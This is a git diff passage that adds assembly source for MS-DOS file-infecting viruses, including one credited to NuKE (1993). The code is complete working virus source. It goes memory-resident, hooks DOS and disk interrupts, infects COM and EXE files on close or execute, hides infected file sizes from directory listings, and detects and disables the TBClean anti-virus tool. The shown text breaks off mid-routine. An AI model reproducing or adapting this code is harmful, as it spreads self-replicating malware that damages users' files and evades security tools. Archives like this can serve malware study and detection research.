cs:[int13+2][bp],es ;save int13 segment + + pop ds ;DS=PSP (.exe only) + push ds ;save DS + mov ax,ds ;ds=cx + dec ax ;dec cx, cx=mcb + mov es,ax ;es=cx, mcb + mov bx,es:mut1 ;bx=es:0003, mem size + mov dx,virus_size ;dx=virus size (bytes) + mov cl,4 + shr dx,cl ;convert bytes to 16k + add dx,4 ;paragraphs + 1 + mov cx,es ;cx=psp segment + sub bx,dx ;sub virus size from + inc cx ;new mem address + mov es,cx ;new segment + mov ah,4ah ;set the block size + int 21h + + jc exit_mem + mov ah,48h + dec dx ;alloc the mem + mov bx,dx ;bx=# of para blocka + int 21h + + jc exit_mem + dec ax ;new segment add + mov es,ax ;ax=es=mcb + mov cx,8h ;DOS is the owner + mov es:mut2,cx ;put it in mcb + sub ax,0fh + mov di,mut3 ;new offset to go + mov es,ax ;es=segment + mov si,bp ;add delta offset + add si,offset init_virus ;begining of virus + mov cx,virus_size ;our size + push cs ;get the correct + pop ds ;segment in ds + cld ;clear direction to + + repne movsb ;move us + + mov ds,cx ;ds=0000 + cli ;disable ints + mov word ptr ds:[0084h],offset int21_handler ;hook int21 + mov word ptr ds:[0086h],es + mov word ptr ds:[0070h],offset int1c_handler ;hook int1c + mov word ptr ds:[0072h],es + mov word ptr ds:[004ch],offset int13_handler ;hook int13 + mov word ptr ds:[004eh],es + sti ;enable ints + +exit_mem: pop ds ;restore 'em + pop di + pop si + pop dx + pop cx + pop bx + +exit_com: cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? + je exit_exe_file ;yupe exit exe file + cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? + je exit_exe_file ;yupe exit exe file + push cs ;fix cs=ds for .com + pop ds + mov bx,offset buffer ;get first 3 bytes + add bx,bp ;fix delta + mov ax,[bx] ;move first 2 bytes + mov word ptr ds:[100h],ax ;put em in the beginning + inc bx ;inc pointer + inc bx + mov al,[bx] ;get last of 3rd byte + mov byte ptr ds:[102h],al ;put that in place + pop es + pop ds + pop word ptr cs:[ax_reg][bp] ;save ax else where + mov ax,100h + push ax ;fake a CALL & RETN + mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal + retn ;link to 100h + +exit_exe_file: mov dx,ds ;get psp=ds seg + add dx,10h ;add 16bytes to seg + pop es + pop ds + pop ax + add word ptr cs:[buffer+22][bp],dx ;fix segments + add dx,word ptr cs:[buffer+14][bp] + cli + mov ss,dx ;restore ss + mov sp,word ptr cs:[buffer+16][bp] ;and sp + sti + jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. + +ax_reg dd 0 +bp_reg dd 0 +int13 dd 0 +int1c dd 0 +int21 dd 0 +;=============================================================================== +; Int 13h Handler +;=============================================================================== +int13_handler: + cmp ax,0abcdh ;virus test + je int13_test ;yupe + +int13call: jmp dword ptr cs:[int13] ;original int13 + +int13_test: mov bx,ax ;fix + iret +;=============================================================================== +; Int 1Ch Handler +;=============================================================================== +int1c_handler: + iret +;------------------------------------------------------------------------------- +; FCB Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +fcb_dir: call calldos21 ;get the fcb block + test al,al ;test for error + jnz fcb_out ;jmp if error + push ax ;save registers + push bx + push cx + push es + mov ah,51h ;get current psp + call calldos21 ;call int21 + + mov es,bx ;es=segment of psp + cmp bx,es:[16h] ;psp of command.com? + jnz fcb_out1 ;no, then jmp + mov bx,dx ;ds:bx=fcb + mov al,[bx] ;1st byte of fcb + push ax ;save it + mov ah,2fh ;get dta + call calldos21 ;es:bx <- dta + + pop ax ;get first byte + inc al ;al=ffh therefor al=ZR + jnz fcb_old ;if != ZR jmp + add bx,7h ;extended fcb here, +7 +fcb_old: mov ax,es:[bx+17h] ;get file time stamp + mov cx,es:[bx+19h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal? + jnz fcb_out1 ;nope, exit then + sub word ptr es:[bx+1dh],virus_size ;sub away virus_size + sbb word ptr es:[bx+1fh],0 ;sub with carry flag + +fcb_out1: pop es ;restore registers + pop cx + pop bx + pop ax +fcb_out: iret ;return control +;------------------------------------------------------------------------------- +; ASCIIZ Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +dta_dir: call calldos21 ;get results to dta + jb dta_out ;if error, split + push ax ;save register + push bx + push cx + push es + mov ah,2fh ;get current dta + call calldos21 ;es:bx <- dta + + mov ax,es:[bx+16h] ;get file time stamp + mov cx,es:[bx+18h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal + jnz dta_out1 ;nope, exit then + sub word ptr es:[bx+1ah],virus_size ;sub away virus_size + sbb word ptr es:[bx+1ch],0 ;sub with carry flag + +dta_out1: pop es ;restore registers + pop cx + pop bx + pop ax +dta_out: retf 0002h ;pop 2 words of stack +;=============================================================================== +; Int 21h Handler +;=============================================================================== +int21_handler: + cmp ah,11h ;FCB find first match + je old_dir + cmp ah,12h ;FCB find next match + je old_dir + cmp ah,4eh ;Find first match + je new_dir + cmp ah,4fh ;Find next match + je new_dir + cmp ah,3dh ;Opening a file + je file_open + cmp ah,6ch ;Ext_opening a file + je file_ext_open + cmp ah,3eh ;closing a file + je file_close + cmp ah,4bh ;Execution of a file + je file_execute + +int21call: jmp dword ptr cs:[int21] ;original int21 + +old_dir: jmp fcb_dir ;fcb file find + +new_dir: jmp dta_dir ;new asciiz file find + +file_open: jmp open_file ;disinfect opening file + +file_ext_open: jmp open_ext_file ;disinfect opening file + +file_close: jmp close_file ;infect closing file + +file_execute: call check_extension ;check for ok ext + cmp byte ptr cs:[com_ext],1 ;is it a com? + je exec_disinfect ;yupe disinfect it + cmp byte ptr cs:[exe_ext],1 ;is it a exe? + je exec_disinfect ;yupe disinfect it + jmp SHORT int21call + +exec_disinfect: call exec_disinfect1 ;Disinfect file + + mov word ptr cs:[ax_reg],dx + pushf ;fake an int + call dword ptr cs:[int21] ;call dos + xchg word ptr cs:[ax_reg],dx ;restore dx + + mov byte ptr cs:[close],0 ;reset flag.. + push ax ;store 'em + push bx + push cx + push dx + push si + push di + push es + push ds +closing_infect: mov ax,3524h ;get error handler + call calldos21 ;call dos + + push es ;save es:bx= int_24 + push bx ;error handler + push ds ;ds:dx= asciiz string + push dx + push cs ;cs=ds + pop ds + mov dx,offset int21_handler ;hook error handler + mov ax,2524h ;with our int24h + call calldos21 + pop dx ;restore ds:dx asciiz + pop ds ;string + + cmp byte ptr cs:[close],0 ;Are we closing file? + je exec_get_att ;nope, then jmp + mov ax,word ptr cs:[handle] ;yupe, ax=file handle + jmp exec_open_ok ;jmp so you don't open + ;the file twice... +exec_get_att: mov ax,4300h ;get file attribs + call calldos21 ;call dos + jnc exec_attrib ;no, error jmp + jmp exec_exit2 ;ERROR - split + +exec_attrib: mov byte ptr cs:[attrib],cl + test cl,1 ;check bit 0 (read_only) + jz exec_attrib_ok ;if bit0=0 jmp + dec cx ;else turn of bit_0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + +exec_attrib_ok: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc exec_open_ok ;ok, no error jmp + jmp exec_exit2 ;ERROR - split + +exec_open_ok: xchg bx,ax ;bx=file handler + push cs ;cs=ds + pop ds + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[org_time],cx + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz exec_time_ok ;nope, file not infected + jmp exec_exit3 ;FILE INFECTED + +exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits + or word ptr cs:[old_time],dx ;seconds=day of month + + mov ax,4200h ;reset ptr to beginning + xor cx,cx ;(as opened files may + xor dx,dx ; have ptr anywhere, + call calldos21 ; so be smart!) + + mov word ptr cs:[marker],0DBDBh ;File Infection marker + mov dx,offset ds:[buffer] ;ds:dx buffer + mov cx,18h ;read 18h bytes + mov ah,3fh ;read from handle + call calldos21 ;call dos + + jc exec_exit1 ;error? if yes jmp + sub cx,ax ;did we read 18h bytes? + jnz exec_exit1 ;if no exit + mov dx,cx ;cx=0 dx=0 + mov ax,4202h ;jmp to EOF + call calldos21 ;call dos + + jc exec_exit1 ;error? exit if so. + mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz + mov word ptr cs:[filesize],dx ;save upper 16bit fileSz + call chkbuf ;check if .exe + jz exec_cool ;jmp if .exe file + cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k? + jb exec_cool ;if less jmp! + +exec_exit1: jmp exec_exit3 ;exit! + +exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning + mov cx,virus_size ;cx=virus size + mov ah,40h ;write to handle + call calldos21 ;call dos + jc exec_exit1 ;error? if yes exit + sub cx,ax ;cx=ax bytes? + jnz exec_exit1 ;not equal exit + mov dx,cx ;cx=0 dx=0 + mov ax,4200h ;jmp to top of file + call calldos21 ;call dos + + jc exec_exit1 ;error, then exit + mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize + call chkbuf ;check if .exe + jnz exec_com_file ;if !=.exe jmp + mov dx,word ptr cs:[filesize] ;get upper 16bit + + mov cx,4 ;cx=0004 + mov si,word ptr cs:[buffer+8] ;get exe header size + shl si,cl ;mul by 16 + sub ax,si ;exe_header - filesize + sbb dx,0h ;sub with carry + + mov cx,10h ;cx=0010 + div cx ;ax=length in para + ;dx=remaider + mov word ptr cs:[buffer+20],dx ;New IP offset address + mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs) + add dx,virus_size+100h ;Dx=virus_size+256 + + mov word ptr cs:[buffer+16],dx ;New SP entry + mov word ptr cs:[buffer+14],ax ;New SS (in para) + add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para + mov ax,word ptr cs:[buffer+10] ;ax=min para needed + cmp ax,word ptr cs:[buffer+12] ;cmp with max para + jb exec_size_ok ;jmp if ok! + mov word ptr cs:[buffer+12],ax ;nop, enter new max + +exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size + add ax,virus_size ;add virus to it + push ax ;push it + and ah,1 ; + mov word ptr cs:[buffer+2],ax ;restore new value + pop ax ;pop ax + mov cl,9 ; + shr ax,cl ; + add word ptr cs:[buffer+4],ax ;enter fileSz + header + mov dx,offset buffer ;ds:dx=new exe header + mov cx,18h ;cx=18h bytes to write + jmp SHORT exec_write_it ;jmp... + +exec_com_file: sub ax,3 ;sub 3 for jmp address + mov word ptr cs:[buffer+1],ax ;store new jmp value + mov byte ptr cs:[buffer],0E9h ;E9h=JMP + mov dx,offset buffer ;ds:dx=buffer + mov cx,3 ;cx=3 bytes + +exec_write_it: mov ah,40h ;write to file handle + call calldos21 ;call dos + + mov dx,word ptr cs:[old_date] ;restore old date + mov cx,word ptr cs:[old_time] ;restore old time + mov ax,5701h ;write back to file + call calldos21 ;call dos + +exec_exit3: mov ah,3eh ;close file + call calldos21 ;call dos + +exec_exit2: pop dx ;restore es:bx (the + pop ds ;original int_24) + mov ax,2524h ;put back to place + call calldos21 ;call dos + + pop ds + pop es + pop di ;pop registers + pop si + pop dx + xor cx,cx + mov cl,byte ptr cs:[attrib] ;get old file attrib + mov ax,4301h ;put them back + call calldos21 ;call dos + pop cx + pop bx + pop ax + + cmp byte ptr cs:[close],0 ;get called by exec? + je exec_good_bye ;yep, then jmp + iret ;else exit now. + +exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx + iret ;iret +;------------------------------------------------------------------------------- +; Close File Int21h/ah=3Eh +;------------------------------------------------------------------------------- +close_file: cmp bx,4h ;file handler > 4? + ja close_cont ;jmp if above + jmp int21call ;else exit + +close_cont: push ax ;save 'em + push bx + push cx + push dx + push si + push di + push es + push ds + + push bx ;save file handler + mov ax,1220h ;get job file table! + int 2fh ;call multiplex + ;es:di=JFT for handler + mov ax,1216h ;get system file table + mov bl,es:[di] ;bl=SFT entry + int 2fh ;call multiplex + pop bx ;save file handler + + add di,0011h + mov byte ptr es:[di-0fh],02h ;set to read/write + + add di,0017h + cmp word ptr es:[di],'OC' ;check for .COM file + jne closing_next_try ;no try next ext + cmp byte ptr es:[di+2h],'M' ;check last letter + je closing_cunt3 ;no, file no good, exit + +closing_exit: jmp closing_nogood ;exit + +closing_next_try: + cmp word ptr es:[di],'XE' ;check for .EXE file + jne closing_exit ;no, exit + cmp byte ptr es:[di+2h],'E' ;check last letter + jne closing_exit ;no, exit + +closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag + mov word ptr cs:[handle],bx ;save handler + jmp closing_infect ;infect file! + +closing_nogood: pop ds ;restore 'em + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp int21call ;good bye, baby... +;------------------------------------------------------------------------------- +; Execute Disinfecting routine +;------------------------------------------------------------------------------- +exec_disinfect1 PROC + push ax ;save registers + push bx + push cx + push dx + push ds + + mov ax,4300h ;get file attribs + call calldos21 ;call dos + + test cl,1h ;is Read-only flag? + jz okay_dis ;no, jmp attribs ok + dec cx ;turn off bit 0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + jnc okay_dis ;No error? then jmp + jmp end_dis ;error? exit! + +okay_dis: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc dis_fileopen ;No error? then jmp + jmp end_dis ;Error? exit! + +dis_fileopen: xchg bx,ax ;bx=file handle + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz half_way ;nope, file not infected + + mov ax,4202h ;jmp to EOF + xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + call calldos21 ;call dos + + push cs ;cs=ds + pop ds ; + mov cx,dx ;dx:ax=file size + mov dx,ax ;save to cx:dx + push cx ;save upper fileSz + push dx ;save lower fileSz + + sub dx,1Ch ;filesize-1C=origin byte + sbb cx,0 ;sub with carry + mov ax,4200h ;position ptr + call calldos21 ;call dos + mov ah,3fh ;open file + mov cx,1Ch ;read last 1Ch bytes + mov dx,offset org_time ;put in ds:dx + call calldos21 ;call dos + call chkbuf ;Did it work? + je half ;Yes,Jmp + cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected? + je half ;Yes, then jmp + + pop dx + pop cx +half_way: jmp end_dis1 ;exit, error! + +half: xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + mov ax,4200h ;pointer to top of file + call calldos21 ;call dos + + mov ah,40h ;write function + mov dx,offset buffer ;ds:dx=buffer + mov cx,18h ;cx=18h bytes to write + call chkbuf ;check if .exe? + jz SHORT dis_exe_jmp ;yupe, jmp + mov cx,3h ;else write 3 bytes +dis_exe_jmp: call calldos21 ;call dos + + pop dx ;pop original fileSz + pop cx + + sub dx,virus_size ;Sub with virus_size + sbb cx,0 ;sub with carry + mov ax,4200h ;ptr top of virus + call calldos21 ;call dos + + mov ah,40h ;write function + xor cx,cx ;write 0 bytes + call calldos21 ;call dos! (new EOF) + + mov cx,word ptr ds:[org_time] ;get original time + mov dx,word ptr ds:[old_date] ;get original date + mov ax,5701h ;put back to file + call calldos21 ;call dos + +end_dis1: mov ah,3eh ;close file handle + call calldos21 ;call dos + +end_dis: pop ds ;restore values + pop dx + pop cx + pop bx + pop ax + ret +exec_disinfect1 ENDP +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=6ch +;------------------------------------------------------------------------------- +open_ext_file: push dx ;save DX + mov dx,si ;asciiz=DS:DX now + jmp open_ext ;jmp +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=3Dh +;------------------------------------------------------------------------------- +open_file: push dx ;save dx (asciiz) +open_ext: call check_extension ;check extension + cmp byte ptr cs:[com_ext],1 ;is it a .com? + je open_ok_ext ;yep, then jmp + cmp byte ptr cs:[exe_ext],1 ;is it a .exe? + je open_ok_ext ;yep, them jmp + jmp open_exit ;ext no good, exit! + +open_ok_ext: call exec_disinfect1 ;disinfect file! +open_exit: pop dx ;restore dx + jmp int21call ;exit to dos... +;------------------------------------------------------------------------------- +; Checks Buffer (EXE) Header +;------------------------------------------------------------------------------- +chkbuf PROC + push si ;save register + mov si,word ptr cs:[buffer] ;get first word + cmp si,5A4Dh ;si=ZM? + je chkbuf_ok ;if yes exit + cmp si,4D5Ah ;si=MZ? +chkbuf_ok: pop si ;pop register + ret +chkbuf ENDP +;------------------------------------------------------------------------------- +; Check file Extension +;------------------------------------------------------------------------------- +check_extension PROC + pushf ;save flags + push cx ;save cx,si + push si + mov si,dx ;ds:[si]=asciiz + mov cx,128 ;scan 128 bytes max + mov byte ptr cs:[com_ext],0 ;reset .com flag + mov byte ptr cs:[exe_ext],0 ;reset .exe flag + +check_ext: cmp byte ptr ds:[si],2Eh ;scan for "." + je check_ext1 ;jmp if found + inc si ;else inc and loop + loop check_ext ;loop me + +check_ext1: inc si ;inc asciiz ptr + cmp word ptr ds:[si],'OC' ;is it .COM + jne check_ext2 ; ~~ + cmp byte ptr ds:[si+2],'M' ;is it .COM + je com_file_ext ; ~ + +check_ext2: cmp word ptr ds:[si],'oc' ;is it .com + jne check_ext3 ; ~~ + cmp byte ptr ds:[si+2],'m' ;is it .com + je com_file_ext ; ~ + +check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE + jne check_ext4 ; ~~ + cmp byte ptr ds:[si+2],'E' ;is it .EXE + je exe_file_ext ; ~ + +check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe + jne check_ext_exit ; ~~ + cmp byte ptr ds:[si+2],'e' ;is it .exe + je exe_file_ext ; ~ + jmp check_ext_exit ;neither exit + +com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file + jmp SHORT check_ext_exit ;jmp short +exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file + +check_ext_exit: pop si ;restore + pop cx + popf ;save flags + ret + +com_ext db 0 ;flag on=.com file +exe_ext db 0 ;flag on=.exe file +check_extension ENDP +;------------------------------------------------------------------------------- +; Original Int21h +;------------------------------------------------------------------------------- +calldos21 PROC + pushf ;fake int call + call dword ptr cs:[int21] ;call original int_21 + ret +calldos21 ENDP +;=============================================================================== +; Int 24h Handler +;=============================================================================== +int24_handler: + mov al,3 ;don't report error... + iret ;later dude... +;------------------------------------------------------------------------------- +; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS + +close db 0 ;closing file + +;------------------------------------------------------------------------------- +; END - END - END - END - END - END - END + +flags dw 0 ;Flags are saved here +attrib db 0 ;file's attrib +filesize dd 0 ;filesize +handle dw 0 ;file handler +old_date dw 0 ;file date +old_time dw 0 ;file time +org_time dw 0 ;original file time + +;------------------------------------------------------------------------------- +buffer db 0CDh,020h ; 0 (0) EXE file signature + db 090h,090h ; 2 (2) Length of file + db 090h,090h ; 4 (4) Size of file + header (512k) + db 090h,090h ; 6 (6) # of relocation items + db 090h,090h ; 8 (8) Size of header (16byte para) + db 090h,090h ; A (10) Min para needed (16byte) + db 090h,090h ; C (12) Max para needed (16byte) + db 090h,090h ; E (14) SS reg from start in para. + db 090h,090h ; 10(16) SP reg at entry + db 090h,090h ; 12(18) checksum + db 090h,090h ; 14(20) IP reg at entry + db 090h,090h ; 16(22) CS reg from start in para. +Marker db 0DBh,0DBh ; Marks THIS File as INFECTED! +last: +seg_a ends + end start +================================================================================ diff --git a/MSDOS/Virus.MSDOS.Unknown.varicel2.asm b/MSDOS/Virus.MSDOS.Unknown.varicel2.asm new file mode 100644 index 00000000..ec443dfc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.varicel2.asm @@ -0,0 +1,847 @@ +;=============================================================================== +; (c) 1993 by NuKE Software Publishing, Inc. +; Developed by Rock Steady/NuKE +; +; +; +; To Compile : TASM VARCELLA; +; TLINK/T VARCELLA; +; +virus_size equ last - init_virus ;virus size (bytes) + +seg_a segment byte public + assume cs:seg_a,ds:seg_a + + org 100h ;compile to .com + +start: jmp init_virus + +;------------------------------------------------------------------------------- +init_virus: call doit_now ;begin virus + +doit_now: pop bp ;pop call offset + sub bp,offset doit_now ;fix it with pointer + + push ax + push bx ;save the registers + push cx + push dx + push si + push es + push ds + + mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag + xor dx,dx ;dx=0 + mov ds,dx ;ds=0 + mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of + dec ax + mov ds,ax + + mov cx,0FFFFh ;cx=64k + mov si,dx ;si=0 + +look_4_tbclean: mov ax,word ptr ds:[si] + xor ax,0A5F3h + je check_it ;jmp if its TBClean +look_again: inc si ;if not continue looking + loop look_4_tbclean + jmp not_found ;not found cont normal + +check_it: mov ax,word ptr ds:[si+4] + xor ax,0006h + jne look_again ;jmp =! tbclean + mov ax,word ptr ds:[si+10] + xor ax,020Eh + jne look_again ;jmp =! tbclean + mov ax,word ptr ds:[si+12] + xor ax,0C700h + jne look_again ;jmp =! tbclean + mov ax,word ptr ds:[si+14] + xor ax,0406h + jne look_again ;jmp =! tbclean + + mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset + mov byte ptr ds:[bx+16],0CFh ;replace with IRET + + mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset + mov byte ptr ds:[bx+16],0CFh ;replece with IRET + + mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on + + mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints + mov word ptr cs:[tb_int2][bp],bx ;vector table + + mov bx,word ptr ds:[si-5] ;get offset of 1st copy + mov word ptr cs:[tb_ints][bp],bx ;of vector table + +not_found: xor dx,dx + push ds + mov ds,dx ;put that in ds + les si,dword ptr ds:[0084h] ;get int21 vector + mov word ptr cs:[int21][bp],si ;save int21 offset + mov word ptr cs:[int21+2][bp],es ;save int21 segment + + les si,dword ptr ds:[0070h] ;get int1c vector + mov word ptr cs:[int1c][bp],si ;save int1c offset + mov word ptr cs:[int1c+2][bp],es ;save int1c segment + + les si,dword ptr ds:[004ch] ;get int13 vector + mov word ptr cs:[int13][bp],si ;save int13 offset + mov word ptr cs:[int13+2][bp],es ;save int13 segment + pop ds + + mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag + mov ax,0abcdh ;test if virus is here? + int 13h + cmp bx,0abcdh ;is it? + jne install_virus ;jmp, if not & install +leave_mcb: jmp exit_mem ;yes, leave then + +;--------- Going Resident ------ + +steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal + cmp al,0ffh ;memory from it! + je leave_mcb ;error? exit then + inc byte ptr cs:[mcb][bp] ;inc flag + cmp al,01 ; + ja mcb3_1 + +install_virus: mov ah,52h ;get the list of lists + int 21h ;use dos + mov ax,es:[bx-2] ;get first mcb chain + + mov es,ax ;es=segment of 1st mcb +mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb + jne mcb2 ;jmp if not + clc ;yes last mcb, CLC + jmp short mcbx ;outta here + +mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain + je mcb3 ;jmp if yes + stc ;error, set carry flag + jmp short mcbx ;outta here + +mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off? + je mcb3_1 ;if yes, then jmp + mov dx,ds ;else cmp TB ds + sub dx,9h ;ds-10 + cmp word ptr es:[0001h],dx ;cmp to mcb owner. + je mcbx_1 + +mcb3_1: mov ax,es ;ax=es + add ax,word ptr es:[0003h] ;ax=es + next mcb + inc ax ;get mcb + mov es,ax ;es=ax:next mcb chain + jmp short mcb1 ;goto first step + +mcbx: jc leave_mcb ;if error, exit +mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h + jb steal_some + mov byte ptr es:[0000],'Z' ;the last mcb chain! + sub word ptr es:[0003],(virus_size/16) + 11h + add ax,word ptr es:[0003h] ;figure out segment + inc ax ;add 16 bytes + mov es,ax ;new segment in es + mov di,103h ;offset is 103h + + push ds ;save TB ds location + push cs + pop ds ;virus cs=ds + mov si,offset init_virus ;si=top of virus + add si,bp ;add delta + mov cx,virus_size ;move virus_size + cld ;clear direction flag + repne movsb ;do it Mr. Crunge + + mov ds,cx ;ds=0000 +hook_again: cli ;disable ints + mov word ptr ds:[0084h],offset int21_handler ;hook int21 + mov word ptr ds:[0086h],es + mov word ptr ds:[0070h],offset int1c_handler ;hook int1c + mov word ptr ds:[0072h],es + mov word ptr ds:[004ch],offset int13_handler ;hook int13 + mov word ptr ds:[004eh],es + sti ;enable ints + + cmp byte ptr cs:[tb_here][bp],00h ;was TB found? + je go_on ;no, then jmp + cmp cl,01h ;is this the 2nd x here? + je go_on ;yes, then jmp + mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment + inc cl ;inc cl + jmp short hook_again ;hook ints again + +go_on: pop ds ;get TB code segment + cmp byte ptr cs:[tb_here][bp],01h ;TB here? + je hook_tb_ints ;yes, then jmp + jmp exit_mem ;else exit +hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset + mov word ptr ds:[si+84h+16],offset int21_handler + mov word ptr ds:[si+86h+16],es + mov word ptr ds:[si+70h+16],offset int1c_handler + mov word ptr ds:[si+72h+16],es + mov word ptr ds:[si+4ch+16],offset int13_handler + mov word ptr ds:[si+4eh+16],es + +exit_mem: pop ds + pop es + pop si + cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? + je exit_exe_file ;yupe exit exe file + cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? + je exit_exe_file ;yupe exit exe file + push cs + pop ds + mov bx,offset buffer ;get first 3 bytes + add bx,bp ;fix delta + mov ax,[bx] ;move first 2 bytes + mov word ptr ds:[100h],ax ;put em in the beginning + inc bx ;inc pointer + inc bx + mov al,[bx] ;get last of 3rd byte + mov byte ptr ds:[102h],al ;put that in place + pop dx + pop cx + pop bx + pop word ptr cs:[ax_reg][bp] ;save ax else where + mov ax,100h + push ax ;fake a CALL & RETN + mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal + retn ;link to 100h + +exit_exe_file: mov dx,ds ;get psp=ds seg + add dx,10h ;add 16bytes to seg + pop word ptr cs:[ax_reg][bp] + pop cx + pop bx + pop ax + add word ptr cs:[buffer+22][bp],dx ;fix segments + add dx,word ptr cs:[buffer+14][bp] + cli + mov ss,dx ;restore ss + mov sp,word ptr cs:[buffer+16][bp] ;and sp + sti + mov dx,word ptr cs:[ax_reg][bp] + jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. + +mcb db 0 +ax_reg dd 0 +int13 dd 0 +int1c dd 0 +int21 dd 0 +tb_ints dd 0 +tb_here db 0 +tb_int2 dd 0 + +;=============================================================================== +; Int 13h Handler +;=============================================================================== +int13_handler: + cmp ax,0abcdh ;virus test + je int13_test ;yupe + +int13call: jmp dword ptr cs:[int13] ;original int13 + +int13_test: mov bx,ax ;fix + iret +;=============================================================================== +; Int 1Ch Handler +;=============================================================================== +int1c_handler: + iret +;------------------------------------------------------------------------------- +; FCB Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +fcb_dir: call calldos21 ;get the fcb block + test al,al ;test for error + jnz fcb_out ;jmp if error + push ax ;save registers + push bx + push cx + push es + mov ah,51h ;get current psp + call calldos21 ;call int21 + + mov es,bx ;es=segment of psp + cmp bx,es:[16h] ;psp of command.com? + jnz fcb_out1 ;no, then jmp + mov bx,dx ;ds:bx=fcb + mov al,[bx] ;1st byte of fcb + push ax ;save it + mov ah,2fh ;get dta + call calldos21 ;es:bx <- dta + + pop ax ;get first byte + inc al ;al=ffh therefor al=ZR + jnz fcb_old ;if != ZR jmp + add bx,7h ;extended fcb here, +7 +fcb_old: mov ax,es:[bx+17h] ;get file time stamp + mov cx,es:[bx+19h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal? + jnz fcb_out1 ;nope, exit then + sub word ptr es:[bx+1dh],virus_size ;sub away virus_size + sbb word ptr es:[bx+1fh],0 ;sub with carry flag + +fcb_out1: pop es ;restore registers + pop cx + pop bx + pop ax +fcb_out: iret ;return control +;------------------------------------------------------------------------------- +; ASCIIZ Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +dta_dir: call calldos21 ;get results to dta + jb dta_out ;if error, split + push ax ;save register + push bx + push cx + push es + mov ah,2fh ;get current dta + call calldos21 ;es:bx <- dta + + mov ax,es:[bx+16h] ;get file time stamp + mov cx,es:[bx+18h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal + jnz dta_out1 ;nope, exit then + sub word ptr es:[bx+1ah],virus_size ;sub away virus_size + sbb word ptr es:[bx+1ch],0 ;sub with carry flag + +dta_out1: pop es ;restore registers + pop cx + pop bx + pop ax +dta_out: retf 0002h ;pop 2 words of stack +;=============================================================================== +; Int 21h Handler +;=============================================================================== +int21_handler: + cmp ah,11h ;FCB find first match + je old_dir + cmp ah,12h ;FCB find next match + je old_dir + cmp ah,4eh ;Find first match + je new_dir + cmp ah,4fh ;Find next match + je new_dir + cmp ah,3dh ;Opening a file + je file_open + cmp ah,6ch ;Ext_opening a file + je file_ext_open + cmp ah,3eh ;closing a file + je file_close + cmp ah,4bh ;Execution of a file + je file_execute + +int21call: jmp dword ptr cs:[int21] ;original int21 + +old_dir: jmp fcb_dir ;fcb file find + +new_dir: jmp dta_dir ;new asciiz file find + +file_open: jmp open_file ;disinfect opening file + +file_ext_open: jmp open_ext_file ;disinfect opening file + +file_close: jmp close_file ;infect closing file + +file_execute: call check_extension ;check for ok ext + cmp byte ptr cs:[com_ext],1 ;is it a com? + je exec_disinfect ;yupe disinfect it + cmp byte ptr cs:[exe_ext],1 ;is it a exe? + je exec_disinfect ;yupe disinfect it + jmp SHORT int21call + +exec_disinfect: call exec_disinfect1 